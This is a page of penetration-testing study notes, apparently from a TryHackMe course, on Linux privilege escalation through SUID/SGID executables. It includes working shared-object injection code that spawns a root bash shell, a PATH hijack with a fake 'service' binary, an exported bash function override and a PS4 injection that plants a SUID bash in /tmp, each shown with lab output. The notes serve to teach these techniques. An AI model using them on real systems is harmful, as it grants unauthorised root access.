📖
Notes
  • 🙌Welcome!
  • CyberSecurity
    • Penetration Testing
      • ELearnSecurity
        • eJPT
          • Footprinting & Scanning
            • Port Scanning
            • Mapping Networks
          • Information Gathering
            • Subdomain Enumeration
          • Network Attacks
            • Arp Poisoning
            • Null Sessions
            • Windows Shares
            • Authentication Cracking
          • Networking
            • Python Server to Receive Exfiltrated Data
            • CLI Tool to interact with HTTP/HTTPS
          • Programming
            • C++ Keylogger
            • C++ Information Stealer
          • System Attacks
            • Pivoting
            • Backdoor
          • Vulnerability Assessment
          • Web Attacks
            • SQL Injection
            • HTTP Verbs
            • Web Server Fingerprinting
      • PortSwigger
        • Cross-origin resource sharing (CORS)
          • Access-Control-Allow-Origin response header
          • Vulnerabilities arising from Misconfigurations
            • Server-generated ACAO header from client-specified Origin header
            • Errors parsing Origin headers
            • Whitelisted null origin value
            • Exploiting XSS via CORS trust relationships
            • Breaking TLS with poorly configured CORS
            • Intranets and CORS without credentials
            • Mitigations
        • Sql Injection
          • Examining the database
          • Retrieving data from other database tables
          • Blind SQL injection
          • Mitigation
      • TryHackMe
        • Main Methodology
          • 1. Reconnaissance
            • Google Dorking
            • Metadata Reader/Writer
            • Steghide - Stegnography
            • OSINT Framework
          • 2. Enumeration/Scanning
            • NFS Enumeration Tools
            • NMAP - Port Scanning
            • Web Enumeration Tools
            • SMB Enumeration Tools
            • SMTP Enumeration Tools
            • Shodan - IOT Search Engine
            • FTP Enumeration Tools
            • Wordpress Enumeration Tools
            • OWASP ZAP - WebApp Testing
            • BurpSuite - WebApp Testing
            • MySQL Enumeration Tools
            • Wordlists
          • 3. Gaining Access / Exploitation
            • Buffer Overflow
              • 1. Immunity Debugger
              • 2. Mona Setup
              • 3. Spiking
              • 4. Fuzzing
              • 5. Crash Replication & Controlling EIP
              • 6. Finding Bad Characters
              • 7. Find a Jump Point
              • 8. Generate Payload
              • 9. Prepend NOPs
              • 10. Final Buffer
            • Cryptography
              • Hash Crack Tools
              • Online Password Cracking Tools
              • Encryption
              • John the Ripper
            • Evasion Techniques
            • Shells
              • Powershell
              • Msfvenom
              • Meterpreter
              • Metasploit -- multi/handler
              • Netcat
              • Socat
            • Web Applications
              • OWASP Top 10
              • File Upload Vulnerabilities
              • Authentication Vulnerability
              • XML External Entity (XXE)
              • Cross-Site Scripting (XSS)
              • ZTH: Obscure Web Vulns
              • Server Side Request Forgery (SSRF)
              • Insecure Direct Object Reference (IDOR)
              • ZTH : Continued
              • File Inclusion Vulnerability
                • Local File Inclusion (LFI)
                • Log Poisoning Attack (LFI to RCE via Log files)
            • Windows Applications
              • Jenkins
              • Windows Active Directory
                • Impacket's secretsdump.py
                • Kerberos
                  • Enumerating Users with Kerbrute
                  • Enumerating SPN Accounts with Powershell
                  • Get SPN Account Ticket with Invoke-Kerberoast
                  • Kerberoasting with Rubeus & Impacket
                  • AS-REP Roasting with Rubeus/GetNPUsers.py
                  • Pass the Ticket with mimikatz
                  • Golden/Silver Ticket Attacks with mimikatz
                  • Kerberos Backdoors with mimikatz
                  • Harvesting and Brute-Forcing with Rubeus
                  • Conclusion and Resources
          • 4. Post Exploitation
            • Privilege Escalation
              • Linux
                • 1. Introduction
                • 2. Scripts
                • 3. Kernel Exploits
                • 4. Service Exploits
                • 5. Weak File Permissions
                • 6. Sudo
                • 7. Cron jobs
                • 8. SUID/SGID Executable
                • 9. CAP_SETUID Capabilities Executable
                • 10. Passwords & Keys
                • 11. NFS
                • PrivEsc CTF Checklists
              • Windows
                • Token Impersonation
                • PrivEsc CTF Checklists
                • Permission
                • Scripts
                • Unquoted Service Path
            • Tools
              • Meterpreter Modules
              • Impacket's Psexec
              • Impacket's mssqlclient.py
              • Firefox Decryptor
              • Socat - Reverse TCP Tunnel
            • Windows Active Directory
              • Enumeration with Powerview
              • Enumeration with Bloodhound (GUI)
              • Dumping Hashes with mimikatz
              • Golden Ticket Attacks with mimikatz
              • Enumeration with Server Manager
              • Maintaining Access
              • Additional Resources
          • 5. Covering Tracks
          • 6. Reporting
        • Networking Concepts
          • SSH Reverse Tunnels
        • Scripting
          • Curl
          • Powershell
            • Basic Powershell Commands
            • Enumeration
        • Web Extensions
          • Shodan
          • Wappalyzer
      • Miscellaneous
        • SMTP Enumeration
        • Nmap Advanced Scanning
        • Persistence via Meterpreter
        • DNS Enumeration
        • NetBIOS & SMB
        • DHCP Starvation
        • Packet Manipulation
        • Hash Cracking
        • MITM
        • Msfvenom Payload in APK (Manual Embedding)
    • Blue Teaming
      • Digital Forensics & Incidence Response
        • Memory Acquisition with LIME
        • Disk Analysis with Autopsy
        • Data and Memory Collection with FireEye Redline
        • Memory Forensice with Volatility
      • Intrusion Detection
        • Intrusion Detection Systems (IDS)
        • Threat Monitoring with Security Information & Event Management (SIEM)
        • Security Event Monitoring
        • Host Based Intrusion Detection System (HIDS) - OSSEC
      • Miscellaneous
        • Docker Image Security Analysis with Trivy
  • DevOps
    • Infrastructure as a Code (IaC)
      • Ansible
        • 1. Playbooks
        • 2. Modules
        • 3. Inventory
        • 4. Roles
        • 5. Ansible Tower
      • Terraform
        • 1. Overview
        • 2. Modify Resources
        • 3. Delete Resources
        • 4. Reference Resources
        • 5. Terraform Files
        • 6. Terraform State Commands
        • 7. Terraform Output
        • 8. Target Resources
        • 9. Terraform Variables
        • 10. Expressions + Functions
        • 11. Meta-Arguments
        • 12. Modules
        • 13. Managing Multiple Environments
        • 14. Testing Terraform Code
        • 15. Final Thoughts
    • Orchestration
      • Kubernetes
        • 1. Main K8s Components
        • 2. K8s Architecture
        • 3. Minikube & Kubectl
        • 4. YAML Configuration File
        • 5. K8s Namespaces
        • 6. K8s Ingress
        • 7. Helm - Package Manager of K8s
        • 8. K8 Volumes
        • 9. K8 StatefulSet
        • 10. K8 Services
  • Development
    • Blockchain
      • FreeCodeCamp Course
        • 1. Introduction
        • 2. Solidity Basics
        • 3. Storage Factory
        • 4. Fund Me
        • 5. Ethers.js
        • 6. Hardhat
        • 7. Hardhat | Fund Me
        • 8. Contract Lottery | Raffle
        • 9. IPFS
        • 10. ERC20s
        • 11. DeFi & Aave
        • 12. NFTs | Encoding
        • 13. Reentrancy Attack
    • Backend
      • NodeJs
        • Introduction
        • Additional Concepts
        • ExpressJs
    • Database
      • SQL
        • Basics
          • 1. Querying Data
          • 2. Filtering Data
          • 3. Joining Multiple Tables
          • 4. Grouping Data
          • 5. Set Operations
          • 6. Grouping Sets, Cube, and Rollup
          • 7. Subquery
          • 8. Common Table Expressions
          • 9. Modifying Data
          • 10. Transactions
          • 11. Import & Export Data
          • 12. Managing Tables
    • Testing
      • Test Driven Development (TDD)
      • Jest js
      • Cypress js
Powered by GitBook
On this page
  • SUID
  • SGID
  • Find all the SUID/SGID executables:
  • A Quick Word on LD_PRELOAD & LD_LIBRARY_PATH
  • Known Exploits
  • Shared Object Injection
  • PATH Variable
  • Abusing Shell Features
  1. CyberSecurity
  2. Penetration Testing
  3. TryHackMe
  4. Main Methodology
  5. 4. Post Exploitation
  6. Privilege Escalation
  7. Linux

8. SUID/SGID Executable

SUID

  • is a special file permission for executable files which enables other users to run the file with effective permissions of the file owner.

  • When extra bit “4” is set to user(Owner) it becomes SUID (Set user ID)

  • The permissions to look for when looking for SUID is:

    • rws-rwx-rwx


SGID

  • is a special file permission that also applies to executable files and enables other users to inherit the effective GID of file group owner.

  • When bit “2” is set to group it becomes SGID (Set Group ID).

  • The permissions to look for when looking for GUID is:

    • rwx-rws-rwx


Find all the SUID/SGID executables:

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null


A Quick Word on LD_PRELOAD & LD_LIBRARY_PATH

Why we can’t just use the same LD_PRELOAD and LD_LIBRARY_PATH environment variable tricks we used with sudo privilege escalation?

By default, this is disabled in Linux, due to the obvious security risk it presents!

Both these environment variables get ignored when SUID files are executed


Known Exploits

Certain programs install SUID files to aid their operation.

Just as services which run as root can have vulnerabilities we can exploit for a root shell, so too can these SUID files.

Exploits can be found using Searchsploit, Google, and GitHub, in the same way we find exploits for Kernels and Services.


Shared Object Injection

When a program is executed, it will try to load the shared objects it requires.

By using a program called strace, we can track these system calls and determine whether any shared objects were not found.

If we can write to the location the program tries to open, we can create a shared object and spawn a root shell when it is loaded.

  1. Find SUID/SGID files on the target:

    • $ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \;2> /dev/null
      ...
      -rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so
      ...
    • The suid-so file should execute with root user permissions.

  2. Run strace on the SUID file:

    • $ strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such	file"
      access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or 	directory)
      ...
      open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such 	file or directory)
    - The libcalc.so shared object could not be found, and the program is looking in our user’s home directory, which we can write to.
  3. Create the /home/user/.config directory.

  4. Create the file libcalc.c with the following contents:

    • #include <stdio.h>
      #include <stdlib.h>
      static void inject() __attribute__((constructor));
      void inject() {
      setuid(0);
      system("/bin/bash -p");
      }
  5. Compile libcalc.c into /home/user/.config/libcalc.so:

    • $ gcc -shared -fPIC -o /home/user/.config/libcalc.so libcalc.c
  6. Run the SUID executable to get a root shell:

    • $ /usr/local/bin/suid-so
      Calculating something, please wait...
      bash-4.1# id
      uid=0(root) gid=1000(user) egid=50(staff) groups=0(root) ...

PATH Variable

The PATH environment variable contains a list of directories where the shell should try to find programs.

If a program tries to execute another program, but only specifies the program name, rather than its full (absolute) path, the shell will search the PATH directories until it is found.

Since a user has full control over their PATH variable, we can tell the shell to first look for programs in a directory we can write to

Finding Vulnerable Programs

If a program tries to execute another program, the name of that program is likely embedded in the executable file as a string.

We can run strings on the executable file to find strings of characters.

We can also use strace to see how the program is executing.

Another program called ltrace may also be of use.

Running strings against a file:

$ strings /path/to/file

Running strace against a command:

$ strace -v -f -e execve <command> 2>&1 | grep exec

Running ltrace against a command:

$ ltrace <command>
  1. Find SUID/SGID files on the target:

    • $ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \;2> /dev/null
      ...
      -rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env
      ***
    • The suid-env file should execute with root user permissions.

  2. Run strings on the SUID file:

    • $ strings /usr/local/bin/suid-env
      /lib64/ld-linux-x86-64.so.2
      ...
      service apache2 start
    • The file could be trying to run the service program without a full path.

  3. We can verify this with strace:

    • $ strace -v -f -e execve /usr/local/bin/suid-env 2>&1 | grep service
      [pid 14395] execve("/bin/sh", ["sh", "-c", "service apache2 start"],
      ...
  4. Optionally, we can also verify with ltrace

    • $ ltrace /usr/local/bin/suid-env 2>&1 | grep service
      system("service apache2 start"
    • This reveals that the system function is being used to execute the service program.

  5. Create a file service.c with the following contents:

    • int main() {
      setuid(0);
      system("/bin/bash -p");
      }
  6. Compile service.c into a file called service:

    • $ gcc -o service service.c

  7. Prepend the current directory (or where the new service executable is located) to the PATH variable, and execute the SUID file for a root shell:

    • $ PATH=.:$PATH /usr/local/bin/suid-env
      root@debian:~# id
      uid=0(root) gid=0(root) groups=0(root) ...


Abusing Shell Features

  1. we can find shell version and known exploits for instance

    • In Bash versions < 4.2-048 it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path.

    • Example

      • Create a Bash function with the name "/usr/sbin/service" that executes a new Bash shell (using -p so permissions are preserved) and export the function:

      • function /usr/sbin/service { /bin/bash -p; }
        export -f /usr/sbin/service
      • Run the suid-env2 executable to gain a root shell:

      • /usr/local/bin/suid-env2

  2. another abuse that was found in Bash versions 4.3 and below is

    • When in debugging mode, Bash uses the environment variable PS4 to display an extra prompt for debugging statements. we can executable suid executeable with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash:

    • Example

      • Run the /usr/local/bin/suid-env2 executable with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash:

      • env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2

      • Run the /tmp/rootbash executable with -p to gain a shell running with root privileges:

      • `/tmp/rootbash -p`


Previous7. Cron jobsNext9. CAP_SETUID Capabilities Executable

Last updated 1 year ago